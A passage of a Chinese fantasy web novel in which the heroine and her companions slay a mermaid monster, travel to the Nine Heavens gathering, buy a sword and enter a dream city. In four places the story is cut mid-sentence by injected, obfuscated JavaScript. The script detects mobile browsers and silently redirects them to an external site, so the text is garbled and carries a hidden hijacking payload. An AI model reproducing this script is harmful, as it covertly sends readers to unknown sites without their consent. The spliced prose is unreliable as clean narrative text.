他直起遮天蔽日的上半身像一只警告入侵者的眼镜王蛇,张大嘴巴对着几人发出凄厉的尖啸,耳鳍和气孔一齐颤动。 “怎么还有声波攻击,这玩意儿到底有几个技能!?”四人捂着耳朵,仍然无法隔绝这道攻击,并且他还一直摆动着尾巴,蘸取海水甩向她们。 众人不得不躲到走廊上,跟魉进行一个秦王绕柱躲避他接二连三的声波水波攻击。 “现在你还期待吗?”逃跑之际风眠还不忘挖苦一下妹妹。 “俺错了俺错了!”风枫捂着耳朵,地面已经全湿透了,她差点脚下一滑,幸好被嬴犽托住胳膊,“先把它控住再说!” 两人对视一眼,一黄一紫两道光芒霎时将她们笼罩其中。 简直默契地令风眠发指! 夏烛会抓住一切机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而另一边,风眠见夏烛被甩了过去,心一惊,担心她的同时觉得自己实在拖后腿没有发挥用处,他看见人鱼魉身后被风吹得一开一合的仓库门,想起里面有一些清洁工具。 哪怕用网兜,他至少能保护自己不让大家分心。 于是趁魉又和鸦群再次纠缠起来,他借着水流的掩护跑向仓库,可是这次显然没有夏烛幸运,人鱼第一时间就发现意图不轨的风眠。 它朝风眠伸出利爪,捏死他容易得像捏死一只蚂蚁,风眠不敢回头只能没命地像仓库跑去。 人鱼愤怒地挥开这些烦人的乌鸦,目标对准了几人中看上去更弱一点的风眠。 时间刚刚好,风枫抬起双手,她周身的光芒暴涨,发丝早已湿透,紧紧贴住脸庞,显得那双眼睛更是有神,在漫天下坠的水花中仿佛一名优秀的指挥家。 “万物生!” 刚刚潜伏在人鱼皮下的万千种子终于在它的肉块中扎好了根,跟随着她的抬手动作,纷纷破肉而出,像是无数条大蛇冲开了束缚,在空中狂舞然后迅速找到各自的着力点,一圈圈进行死亡缠绕。 从身体里长出的藤条一端死死地攥住人鱼魉的肉,另一端则牢牢固定在楼房和仓库上,收缩紧绷,将这个庞然怪物钉在原地无法动弹。 它想要反抗只会生生扯下自己的一块身体组织,人鱼流下的血液在地面汇成小河,它已经力竭虚脱,现在只差最后一击。 夏烛还没有完全恢复,每走一步身体内都有些疼痛,她咬着牙重新回到院子中,风声和人鱼的低吼在耳边呼啸,嘈杂感让她恍惚回到了学校的运动会上。 除了田径,全能的夏烛还会什么呢? 当然是铅球。 她挥动手臂做好蓄力,抬起一条腿为身体找到最佳发力的姿势,然后瞄准人鱼的胸口使出极限之力扔出了那把刺向过她的刀。 噗嗤一声,尖刀居然刺穿了人鱼魉的胸口,他不可置信地盯着地面上看起来纤瘦无比的夏烛,在她平静的眼神之下轰然倒地。 海水掀起巨浪,暴雨狂风顷刻而至,随着旧神的倒下,这个世界也要面临崩塌。 一颗散发耀眼红光的菱石从那座巨大的尸山上升起。 “大力出奇迹啊,阿烛。”风枫缓缓落到她的身边,同样竖起了大拇指。 “本天才也要夸夸你啦。” 32.家族秘辛 析出的天生相石可以通过符钰之间的链接而分裂成几等份。例如夏烛他们若是承认嬴犽的队友身份,那一颗红石就可以分为四小颗,见者有份。 不过这种情况也只适用于一个队伍之间,毕竟大多数人都是以家族为单位,更不太愿意和别的家族共享荣誉和能力的象征。 嬴犽也不用阴暗地躲在角落监视夏烛,四人小队算是正式成立。 他们出梦的时候,离进入也就过了几分钟的时间,不过雪算是下了下来,夜空晴朗没有杂质,薄雪浅盖,天孙山朴拙又寂然。 这一次的梦在心理上的伤害大过于生理,明日还要启程,所以各自回房间早早休息了。 夏烛将新得的红石和上一次的绿石放在一起,房间内没有开灯,两颗石头发出隐隐的光辉,她不免想到这个梦的梦主。 不知道他的姓名,也不知道他生活在哪个城市,更不清楚醒过来的他是否能从虚无中快速脱身,人类的可贵在于总能向这个宏大的宇宙诘问,关于价值,关于自身,不会因自己的渺小而退缩害怕,这是勇气的赞歌。 没有什么错,夏烛反而觉得这个梦境特别有意义,是一种自我认知的探索,是良性的积极的。并且通过他的梦境,夏烛也再次确认自己的内心,确认了未来的方向。 她要靠双手握着这把滚烫的火炬,用双脚走出自己的路,并且一次又一次,和在乎的人并肩,她已经稳稳地踩在大地上了。 再不是轻飘飘的一个人。 第二天一大早,四人就登上了天孙山,越往高处,风越大,雪尘掀起遮挡视线。虽然这个时间山顶人几乎没有,但也算是多了一层保护。 “就是这里啦!” 她们来到了山顶背后的悬崖边上,风在这里聚集回旋,每一步都得踩实,否则一不小心就会被刮下山去。 “阿烛,还记得俺和你说过的,不乘坐公共交通而是上山的原因吗?”风实在太大,她们之间说话也得扯着嗓子。 夏烛茫然地摇摇头,心想总不会是从这里跳下去就能到日月山吧。 风枫解开风叶给的那个小布袋从里面拿出一张神策,往空中一扔,纸条竟在风中化成金色的微粒消失不见了,随即风枫脚下却形成了一道足够托举她的风力,将她轻轻带离了地面。 “这是渭水姜家设立的追风道,神血家族内部的限定交通工具,姜家是帝夋一族的后人,相力为风雨雷电,她们在各地最高峰都设有追风道的入口,只需要消耗一张神策就可以使用啦。”说完她乘着风来到夏烛面前,递了一张神策给她,“将神策撒进风中,再清晰地说出目的地山峰的名字,瞬息之间就能到达。” “不过俺可要提醒你哦,地名得说准确了,风眠小时候第一次用追风道就因为念错了名字消失了好几天,可把老爸给急坏了。” “阿烛!看俺!俺们这次的目的地就是——”风枫悬在空崖边,张开双臂,“日月山,清苦峰!” 话音落地化成一道浅金色的风瞬间将她拉入云雾之中,消失在三人面前。 嬴犽的氧气管的似乎连在风枫身上,那边刚一消失,他也立马遁入风中,片刻也离不了。 “你先走,我在你后面。”风眠晃晃手里的神策,他担心夏烛会紧张说错,要是传去了别的地方其他家族的领地,就像羊入虎口,她的身份有暴露的风险,到时候就难办了。 风眠已经脑补了一场夏烛被抓进实验室,浑身插满各种仪器管子,每天要抽大几百cc的血液以供研究。 夏烛点头打散了他冒出来的小剧场,将神策扔进风中。 “日月山,清苦峰。” 她只感到一股强大的推背感,再然后就是身体悬空,风声呼啸耳边,云雾无孔不入,又没人给她窒息警告,她干脆憋住呼吸,只觉得睫毛上都结出了水珠,镜片上一片白茫茫。 不过这种情况只持续了几秒钟,眼前开始出现别的颜色,直到云消雾散,露出一小片草地,风速也慢了下来,她感到身体逐渐平衡,然后双脚就缓慢地落到了地上。 “阿烛!这里!” 她刚从云雾中走出来,就见到风枫和她身边的嬴犽。 她们现在位于一座小山峰上,山顶铺满平整而柔然的草地,草地上搭建了许许多多奇形怪状的摊位,期间人来人往形色各异,穿着校服背着双肩包的米其林轮胎人夏烛就像一个误入二次元圣地的现充。 好啦,其实夏烛的背包里全是手办和吧唧,什么乖乖好学生,那都是她的伪装,这才是她的主场。 夏烛收紧背包的带子,这是她第一次见到这么多的神族后裔,其中女生占大多数,她们不仅长相上跟普通人有些区别,穿着似乎也能按照不同的团体区分开。 比如风家兄妹,俨然是进城探亲或者当地土著风格,站在一边的夏烛是他们在路上抢来的野生学生仔。 她认真思考过,下次也得换件草裙草衣,必要的时候伴随上蹿下跳,再捂着嘴哇哇叫,藤蔓之间荡来荡去,这才符合她风家人的身份。 实际上不是因为需要隐藏身份,伪装成那样,而是她早就想这么干了,夏烛的梦想就是做一只山间的野猴子,怪叫,龇牙,抢路人的水果,累了就和同伴互相捉捉身上的虱子,猴生肆意充足又美好。 这里的温度也和外界不同,没法当野猴子至少可以脱掉校服,显得不那么格格不入。 集市也是九天大会的一部分,大会一共持续三天,期间将一直开放集市,虽然后天才正式开始,但现在清苦峰上已经有很多摊位开放了,50张神策作为摊位费,可以售卖一切东西,自行标价,货币当然也是神策,九天集市上偶尔会出现一些难得的宝贝,虽然大多玉石混杂。 风家曾经也想在集市上卖卖花草种子或者避毒鬼藤,奈何出师未捷,五十神策难倒英雄汉。 小枫还说,除了集市以外,这三天还设有竞技场,算是家族小辈之间的良性竞争,开场前每队会投入一定数量的神策作为彩头,赢的那一方将拿走所有,数量自行抉择,也算提供机会以小搏大。 不过竞技场的参赛人数是五个,她们只有四人,遗憾不能参加。 集市上虽然人很多,但是氛围却没那么轻松,原本以为会是像学校后门的夜市,不说嘈杂吧至少热闹,总不会是像现在这样甚至有点紧绷。 “因为这里是颛顼后人姬家的领地。”风枫带着嬴犽激动地寻找食物类的摊位,风眠在夏烛后面没多久也落了地,他显然也感受到了气氛的异常,打算跟看起来懵懵懂懂的夏烛解释一下。 “濮阳姬家,掌管日月山上的吴姖天门,那是可以兑换神策,沟通天地的地方。她们一族的相力是冰雪寒流,执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838452|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权而治冬,有妖神玄鸟相护。人神颛顼被主神选中,赐予天生相,感应相力,后又创建阴阳合历,还将进入梦界的时间独立于人间历法之外,她治下严苛,崇尚法度,所以姬家的氛围一直都这么紧绷严肃。在这里可不容许犯错,她们都是行走的法典,但凡一点行差踏错,会被姬家的捕蜩人直接抓走进行一个冷冻治疗。” “去年决定在日月山举办九天大会的时候,姬家的家主还曾提议取消集市,理由是鱼龙混杂有存在非法交易的风险,这个消息一出激起千层浪,最后怕舆论哗然,集市还是被另外几家的家主给保了下来。” “颛顼?”风家是太皞后人,嬴家是少皞后人,现在又出现了帝夋和颛顼,怪不得风叶要问她有没有听过神话传说,现在看来那些传说恐怕都是真的。 她突然想到什么。 “所以,三皇五帝,都是女性。” “当然。”风眠耸耸肩,似乎觉得这个问题并没有什么探讨性,“关于她们的性别人类社会拿不出具体被证实的考据,所谓史料大多向壁虚造,好像自这些神话诞生的那一天,统治阶级就已经被定义成了男性,而权利斗争也只在单一性别下发生。口口相传会产生歧义和误差,但最先被洋洋得意堂而皇之写下的一笔却是这些领导者的性别。” “因为皇啊帝啊只能是男的吗?这叫认知肤浅。” 夏烛用力点头,她向风眠投去一个好兄弟的认可眼神。 “三系五姓八派,之前没具体跟你解释过。按文化地理在东方这片土地上化分了三大系别,分别是华夏,东夷和苗蛮。例如我们和嬴犽就属于东夷一系。” “而三系分别延出五个姓氏,姜,姬,风,嬴,妘。每个姓氏又有不同的派别,比如濮阳姬姓是颛顼后人,但崆峒姬姓却是黄帝后人,等以后你遇到更多不明官,就知道了。” “颛顼后人这么严肃死板,可不只因为她们的相力是冷得冻死人的冰雪寒流,其中另有隐情,想知道的人请呼吸~”风枫不知道从哪里钻出来,手上四个指缝都夹着一串不知名的生物,像是个头大一点的蝉,“炭烤青蚨,来一串?吃了涨财运的。” 涨财运?那夏烛得尝尝了。 入口倒是没什么怪味,像是炸蝉蛹,别说嚼一嚼还挺香的。 “什么隐情?”她其实超爱听八怪的。 风枫左右看看了,和夏烛头抵着头,用只有她们几个能听到的声音说:“传闻颛顼氏女脩生了四子,三男一女,只有小女儿继承了她的冰雪相力所以深受重用,奈何与二哥产生了不伦之情,两人相恋造成了家族内部的秩序混乱,甚至影响了人间的安危,于是双双被罚,神魂俱灭,而二儿子死前立下诅咒,颛顼姬家将永生永世,族内□□,仇敌相通。” “所以女脩才建立了男女有别,长幼有序的道德规范,禁止族内通婚,划分职业阶层。” “而后世每一任家主都严格遵循法度,执法如山,铁面无私。” 两人面面相觑,像村口情报站的成员,从彼此的眼神中交换到了激烈的讨论。 “在这里说姬家的八卦,你是真不怕被捕蜩人逮住,捕蜩,捕蜩,捕的就是你这只到处乱叫的小知了。” 看似两耳不闻,实则全程竖起耳朵的风眠明哲保身先划分立场,免得到时候真被抓了要被冻上个三天三夜,谁受得了。 33.崆峒姬姓 日月山有三座峰,清苦为卫,穷阴为肩,三九为主,吴姖天门就在三九峰上。 主峰庄严,集市设在清苦峰,竞技场则在穷阴,三峰之间自可以消耗神策以追风道连接,但也有朴素的方式,用双脚上山下山,日月山虽然不是旅游景点,但山中也散落有人家。所以就算是能人异士为了避免被发现都只能使用自己的双脚在各峰之间来回。 站在清苦峰上能看见对面的穷阴云山雾罩,高耸的三九直插云霄。 云山雾罩是因为竞技场神仙打架相力碰撞,而吴姖天门沟通人神,三九峰自然极天际地。 没有资格和同僚切磋的四人只能将时间花费在摊位和摊位之间。 夏烛第一次参加九天大会,见什么都很稀奇,虽然没钱也并不妨碍她蹲在一个地摊前,盯着夹杂在一堆五颜六色矿石中的一把不起眼的短剑。 她在这里看了很久了,摊主是个包着头的奇怪男人,似乎也没料到夏烛会喜欢这把平平无奇的破剑,想赶紧用最适合的价格完成这笔交易。 “五张神策,很划算的妹子!” 他今天一早就来了,还没卖出去一样东西,这可是颛顼的地界,他作为被某个家族驱逐的残体可是冒着风险溜进来的,不能无功而返。 夏烛木木地点头。 “老板,我可以拿起来看吗?” “当然当然,您随意。”男人觉得夏烛看上去不太聪明的样子,早知道价格再叫高一些。 这把短剑确实能称得上破,没有别的装饰和设计,似乎只是随意锻造或者练手的产物,不管从哪个角度看都只是一把,“剑”而已。 工具,只是工具。 但在夏烛眼里,它锋利又朴拙,拿在手里的重量也恰到好处,已经忍不住想象自己握着它战斗的场景了。 她还在剑柄的位置发现一个浅浅的印记,几笔看似随意的线条却勾勒出一颗极速划过夜空又耀眼无比的彗星,就像在冰冷沉闷的铁器之上爆开了一朵生动绚烂又灵巧的烟花,烫得夏烛脸颊发红,这个发现让她下定决心买下这把短剑。 她郑重其事地将它摆回原位,诚恳地叮嘱摊主,“老板,我马上回来,请不要卖掉它。” 看她那个样子,男人怀疑这把剑真是什么沧海遗珠,夏烛走后他又重新拿起来来回回翻看,也没看出有何玄机,可夏烛显然如获至宝。 她在一家铁板蚯蚓小吃摊前找到了正在大快朵颐的风枫,诚恳地向她借五张神策,她现在手里只有两颗石头,兑换了也不够,再三保证之后一定会还给风枫的。 “阿烛看上什么东西了,这么稀奇?”看着她板直的背影消失在人群里,风枫不免好奇,毕竟那双镜片后的眼睛比头顶的阳光还要灿烂。 “不是?就这把破剑!俺以为什么大宝贝呢?”夏烛把买回来的短剑双手捧到众人面前。 “才不是破剑。”看来没人有同样的感觉,小心翼翼地将剑收起来,这可是她的武器,要和她并肩作战的。 夏烛还给自己的宝贝武器取了个可爱又亲切的名字。 小剑。 她对着虚空点点头,嗯,十分满意。 时间不早了,她们得省着用神策,于是决定徒步下山,去穷阴山脚下的“睡好觉”小旅馆休息。等她们赶到旅馆的时候,太阳已经完全落下,山下的温度比山上还低,之前吃过的乱七八糟的东西早就被消耗殆尽,现在急需一碗暖乎乎的汤填填肚子。 睡好觉里的住客比想象的多,肉眼看去除了像他们这样的人,还混有一些普通的住客,不过那些人也是大包小包装备齐全大概是什么探险队或者科研人员。 奇装异服的神血后人也显得不那么违和。 只是办理入住的旅客眼睁睁看着一队又一队的人消失在楼梯转角,纳闷这里难不成有什么宝藏,引得这么多人挤到穷乡僻壤,而且这个破旅馆只有两层,里里外外算上最多不过十个房间,真能住下这么多人吗? “嗨,你不懂了吧,这叫抠死普类,我每年都来采数据,年年这时候最热闹,年轻人搞团建呢。”老李拍着新队员的肩膀,掰正他偏到一边的脑袋,他可是紧跟时代的潮流中年人,就没有他不懂的东西。 方圆百里仅此一家旅馆,是所有来参加九天大会人的统一落脚点,旅馆看上去平平无奇甚至有些破败,实则内里别有洞天。 风枫她们每年都来,已经轻车熟路,甚至知道前台桌上的一个小盒子中装了一些糖果巧克力,在工作人员的注视下顺走了一些先充充饥,然后只需要给前台小哥展示一下金灿灿的神策,他就会领你去到后院。 二十神策,能开两间房。 五人来到后厨,掀开写了“员工专用”的门帘,穿过一个看不见但能明显感觉空气震荡的隐形结界,旅馆的真身才露出水面。 一栋四五层楼高的唐朝建筑出现在眼前,她们身后的后厨门帘变成了沉重的金钉朱门,朱漆金箔的唐式斗拱间嵌着LED灯带闪烁着三个大字“睡好觉”。 一楼大厅是吃饭的地方,这会儿已经坐满了各色各样的人,空中连廊垂着金灿灿的纸皮灯笼在热浪中摇摆,戏台上展开超大巨幕正放着某部火遍大江南北的宫斗剧,刚好播到最精彩的滴血认亲环节,吵闹声都隐隐降低了许多。 二楼三楼再往上则是房间包厢和靠着栏杆的雅座,餐桌之间没有传菜服务员只有一盘盘热气腾腾的美食悬浮在空中,被一股无形的风托着自动送到客人的桌上,大厅角落甚至还有做美甲的地方。 通天的两根盘龙柱上开着结出亮晶晶果实的大型津津灯直达星象变化的穹顶,风眠说那是风枫卖给老板的改良版种子。 夏烛被骤然攀升的温度烧得晕乎乎的,万般变化又闪得她眼冒金星,人群的嘈杂伴随着电视剧的台词,让她有种不知身在何方的感觉,上一秒觉得自己穿越花萼相辉楼,下一秒又被“臣妾要告发”拉回现实世界,她只能呆呆地被小枫拖着穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847288|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过人群去前台办入住。 “这是崆峒姬家,黄帝后人的产业,她们最擅长的就是营造,姬家的领地轩辕丘才是天下无双,小时候有幸跟着大人去过一次,那届九天大会就在轩辕丘举行。”风眠指指头顶,贴心为夏烛解释,“她们在人类社会也有产业,是群房地产大佬。” 一定很赚钱,夏烛仰着头,头顶的星群在缓慢地移动排列,其中有一颗星忽然颤抖了一下,似乎被鼎沸的人声吓到,就好比她们三个老农民带着一个自闭亲戚进城探亲,被大城市的繁荣给狠狠震慑住了一样。 “她们的手伸得可长了,在每个家族附近都开了一家睡好觉,简直垄断!”风枫咬牙切齿地补充,嬴犽跟在她身后,莫名其妙地点头附和。 人神颛顼实际上是从黄帝部落分化出去另起炉灶的,所以他们拥有共同的姓氏,就算是向来说一不二的濮阳姬家也会给崆峒姬家几分薄面。 “我现在转投阵营还来得及吗?” “哇塞,一点都不好笑!”小枫觉得可恶的夏烛就不适合幽默。 这里的前台和旅馆里的不太一样,除了登记入住之外,还可以直接在此报名参加竞技场,人数不够的队伍还可以发布组队申请,因此前台背后也有一块屏幕,显示着接下来的竞技场排位,输赢结果以及组队信息。 因为所有的不明官都会在此落脚,所以将汇总信息点设置在睡好觉是最一劳永逸的办法。 前台接待换成了一个黑色短发的女生,她懒懒地斜靠在台后面,腰上挂有一块暗金色的龙形玉佩。 “她叫姬桃,也是一位不明官。”风眠偏过头小声地跟夏烛说。 原来龙形玉佩是她的符钰,比起风家的,未免也太大了一点,这就是有钱人吗?金灿灿的,真好看。 风眠似乎看出她在想什么,忍不住笑了一下,“主神初赐符钰的时候每个部落就那么一块,在传承中根据不同的不明官人数分化,姬家人口少,所以分得的单块符钰才会大一些罢了。” 这边风枫和姬桃拉扯起来,姬桃坚决要收她们十张神策一间房,风枫说自己这次新带了很多种子,不如送她们一些抵扣一下房费。 “没神策的话出门左转,用现金也能开两间房哦。”姬桃笑眯眯指着她们身后的朱门,商人简直重利,将老农民压制的死死的,风枫含恨扔出二十张神策。 “资本家!” “好啦,免费给你们升级了一下房间,看在咱们多年的交情上。”姬桃侧身对着身后墙上镶嵌的密密麻麻没有任何把手的组柜勾了勾手指,其中两格向外突出,她从里面分别取出两把古朴的钥匙放到风枫手中,转眼注意到了她身边的夏烛,“这位是谁呀,之前都没见过。” 风枫肉疼地拉好装神策的布包,感觉自己没花多少怎么就见底了,听姬桃问她夏烛的身份,她回了一个超大的微笑。 “是俺老妈的妹妹的老公的弟弟的女儿的舅舅的外甥女的同父异母的姐姐啦。” 34.自由之地(一) 睡好觉名副其实,不管外面如何吵闹,只要踏进房间所有嘈杂通通隔绝,房间四周看来也张开了某种结界。二十张神策其实很划算,这个住宿条件比外面的星级酒店还要好,并且是包饭的,几人刚出梦都有些累,叫了些热食到房间里随便吃了吃。 还有一个最关键的,在这里入梦绝对安全。 由于这两天花了太多的神策,四人打算休息一晚,明早再进一次梦,尽可能多的在兑换日之前搞点石头出来。 夏烛和风枫睡一个房间,两张床中间隔着纱帘,她睡在靠窗的位置,窗外面正对着三九峰,烟云缭绕钻进窗花,她抱着小剑,心满意足地闭上眼睛。 有一种前所未有的安心感。 大家都睡了个懒觉起来,养足了精神,就得吃饱饭,昨晚太累没有下楼,所以打算带夏烛去逛一逛。 今天的睡好觉却十分冷清,没有了昨晚的热闹盛况,华丽装饰下的雕梁画栋倒是像一只精美灯笼里烧了一夜的残烛。 大厅中稀稀拉拉有几个人围在一起吃着早点,风眠和嬴犽前后脚下了楼,四人找了张桌子坐下。 “看这样子,要不是我们起太早,要不就是都已经入梦去了。”风眠边说边对着菜单,在桌上的一张素色纸上写下菜品的名字。 “可恶!斗志给俺燃起来了!速速吃完,俺们也去!” 大家都在那张纸上写好了自己要点的东西,在末尾写下餐桌编号,纸张晃晃悠悠地悬浮到空中,随着一阵轻晃,无火自焚了,只要等待风力传菜即可。 小枫势必要在大会之前多进几次,于是四人草草吃完,回了房间。 还是和上次那样,念过不明咒,在梦貘集合。 不过夏烛倒是发现,嬴犽的咒语在细节上和她们的有所不同,风家是春皇开道,而赢家则是凤凰。 果不其然,人不会消失,只会转移,梦貘内部人山人海,跟她们上一次来的时候完全是两个模样,走在其中都得小心,别被推搡掉下水池,没有摇铃就跌进池水,只白白湿透。 “很糟糕,”小枫见到这么多人,有点愁眉苦脸,“人太多,恐怕会有撞梦的风险。” “没关系,打得过就打,打不过就双手奉上相石,能屈能伸嘛。”风眠往她头上胡乱揉了一把。 梦貘实在比昨晚的睡好觉还要热闹,主要是除了人,天上飞的,地上爬的,还有很多奇奇怪怪夏烛以前从来没见过的生物。 她在想,这要是撞上了怎么比,靠他们四个赤手空拳,想着,她回头看了嬴犽一眼,不知道他的乌鸦们是从哪里来的,也许那些小鸟都是有召必应,只要嬴家人开了口,无论天涯海角世界尽头,即使穿过时间缝隙也会出现。 这么一想象,她倒是觉得嬴犽就像一只风枫的小鸟,随时出现在让人意想不到的地方。 梦貘里选梦只需要挑一盏铃摇响就好,除了难度的区别,从外表上看不出梦的内容的,她们不想去人堆里挤来挤去,挑了一盏周围没有人围着的红色风铃。 跳进去前,风枫祈祷不要和别的队伍撞上,在大会召开之际,一切武力冲突都显得十分麻烦。 身体轻飘飘的,全身的所有感官先是闭合起来,随着时间的推移一点点向外打开,就像被包裹在一个气泡中,只能等待空气刺穿泡膜。 夏烛闻到一股清甜的香味,像是夏天粉色脆桃毛绒绒的果皮,或者春雨淋过一夜枝头上新展开的花苞。不浓郁但会长久地停留在大脑皮层。 然后是自己的心跳声,一下两下,慢慢合上更加紧凑聚集的鼓点,似乎是数万人的心跳恰好在一个频率上。又像是处在一个节日盛典当中,周围都是人群的欢呼,只是出于某种原因,她的耳膜被朦胧地罩住了,所有声响都显得失真。 她觉得时间差不多了,于是睁开眼睛,由于无法快速适应惊白色的光线,视野中心只有一个背对着自己的肩膀,周围还是模糊的。她使劲眨眨眼睛,随着一片桃粉色的花瓣轻缓地掉在了前人的肩头,五感归位。 人群鼎沸,呼声震天。 在无数高举的手臂之间流动着一串天籁之音,空灵绝响,舒缓优雅却又振奋人心。 无法确认音乐从何而来,它拥有潮水的质感,只能从天外传来。 夏烛终于看清眼前的场景,这是一个空前绝后的盛况,数万人挤在一个现代广场中央,周围是摩天大楼鳞次栉比,玻璃组成的巨幕孜孜不倦地反射着本就灿烂的阳光,再以毫不吝啬地姿态投向每一个人的脸庞,恍惚中她觉得曾经在图片和书里看过的摩根士丹利大厦就在眼前一般。 七条大街汇集于此,每一条大道上都是人山人海,不远处的塔楼敲响报时的钟声,巨大的齿轮转动,哥特式尖顶直指苍穹。 说实话夏烛第一次见到如此繁华的景象,都市的魅力在于身处其中即使显得你十分渺小,但也总有希望之火引路前方。 灯火辉煌和车水马龙产生一种错觉,让你以为自己可以在这里创造无限奇迹,但大多结局只是成为钢铁监狱中的囚犯之一。 花瓣雨从天而降,带着圣洁的光辉掉落在每个人的身上,夏烛从震颤中回过神来,她呆呆地抬起头,想看看花瓣从什么地方撒下。 然后她见到了此生从未见过,未来也会为之惊魄的景象。 她看见了一双神圣的眼,慈悲的眉,怜悯的鼻和嘴。 浩瀚宇宙只盛在她眼底,世界上最美好的一切为她装点,她轻轻微笑,抚过世间的风都带着迷醉的味道。 那是一位巨大的天女,正从头顶缓慢而优雅的浮过。她的身躯似乎比这座城市还要大,姿态却轻盈灵动,身如秋月,宝冠璎珞,天衣飞扬,玉带悬垂,无数桃粉的花瓣从袖间散落。 无法用言语去形容这个宏大的场面,和天女带来的绝对压迫感。 所有的人都挥舞着手臂,企图接住更多的圣花,企图能让神祇低眉垂怜,只望一眼。 但她只是降临人间就已经是对世人最大的恩赐了,哪里还会驻足施舍哪怕一个眼神呢。 当天女的头颅游至广场正上方,她却做出了一个让数万人屏住呼吸的举动。 她缓慢地垂下了头,带着一股庄严之力瞬间使一切喧嚣静止,将整个身躯降低了高度,天女的气息是冰冷的,像是从经过亿万年才能形成的冰川底下而来,她在蚂蚁一般渺小脆弱的人群中选中了看上去最呆最不虔诚的夏烛,用那双包含一切却又看不出任何感情的眼睛凝视她。 夏烛只觉得天女的脸庞巨物一般向自己倾压过来,吸收了一切光线甚至是氧气,这段对视在昏暗和窒息中仿佛持续了很久,但又转瞬即逝。 夏烛搞不清楚眼前的状况只能反盯着她,抽出时间思考自己是否有她的一根睫毛那么高。 最后,天女支起身体,收回视线,轻轻抬起一只手臂,优雅地在高空中划出一段弧线,然后对着世界的尽头伸出了一根手指。 夏烛茫然地转过身,顺着巨大天女所指的方向看去。 那里是,西方。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851865|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次睁开眼睛,发现自己躺在一张无比舒适的大床上。 被褥和床单都像棉花一样柔软洁白,身体只会深深地往下陷,直到一切疲惫都消失殆尽。 金色的阳光透过左侧的落地窗投射在夏烛的身上,带着温暖地味道再次营造一种无与伦比的安逸。 房间的装修偏向于极简,一切似乎都是白色的,利落的,线条干脆,毫不拖泥带水。当然了夏烛不会在意这些,她简单地对此场景做出了点评。 大,亮,要很多钱。 那种现代感对于夏烛来说是有些冲击的,以至于她光着脚迷迷糊糊地下了床,在整个房子精神恍惚地游走了一圈。 除了有落地窗的大卧室,还有一个三面落地窗的大客厅,以及书房厨房餐厅,通通很大! 夏烛呆住了,她找遍了大房子的每个角落,没有风眠,没有风枫也没有她的小鸟! 她沮丧地怀疑自己是不是跳错水坑了。 不过转念一想,也许是和上一个梦境一样,她们虽然不在一起,但也会在同一栋建筑里,于是夏烛挪到落地窗边,向下看去。 腿软。 只有腿软。 车如流水马如龙,人是什么,是像长在城市这张脸上的一粒毛孔,她所在的房间应该有一百层那么高,整个城市尽收眼底,悬日就在头顶,所以阳光灿烂无比,所以她从床上下来的时候甚至有种头重脚轻的失重感。 也就是说,这个梦境的世界地图,至少有整个纽约那么大。 夏烛双眼无神地望着楼下相对矮一些的塔楼,哥特式的尖顶直指苍穹,七条大街汇集于中心广场,人潮汹涌。 她不仅入梦后急速做了一个跟这里分毫不差的梦,还和风枫她们失去联系了。 夏烛花了五分钟接受了这个现实,好在她的背包就在醒来的那张床上,里面的东西一样不少包括她最心爱的小剑。翻找的时候突然找到了自己的直板机,想起来她原来是个现代人,可是拿起来一看,才想起自己不仅没有风枫的任何联系方式,而手机在这里除了显示某年某月32号以外根本没有卫星信号。 怪不得从来没见过风枫风眠使用手机,看来现实中的通讯设备在梦里根本不起作用。 所以她干脆再次参观起这个房间,不知道这里是否与魉有什么关系。 如果有的话,魉也许是个洁癖,在她参观书房之间,夏烛还这么猜想。 直到她打开书房的大门。 这间房里的窗帘被拉得严严实实,只有一线光从窗帘缝隙中透出,只是大致轮廓,就知道这里必定混乱无比。夏烛在墙上摸索到开关,打开电灯,满地的书籍笔记和一些奇怪的登山工具,房间里有两面墙的通顶书架,摆满了闻起来就比较古老的书,还有好些被玻璃罩关起来的岩石标本,书桌旁的小凳上甚至有一碟没吃完的饼干,一杯冷掉的咖啡。 看来魉不是什么洁癖,只是她的生活似乎只存在于这间书房。 夏烛跳过地上堆积的杂物,来到书桌边,这里更是没处下手,被翻开的书页,看不懂的笔记,以及一堆陈年旧报纸高高堆在一边。 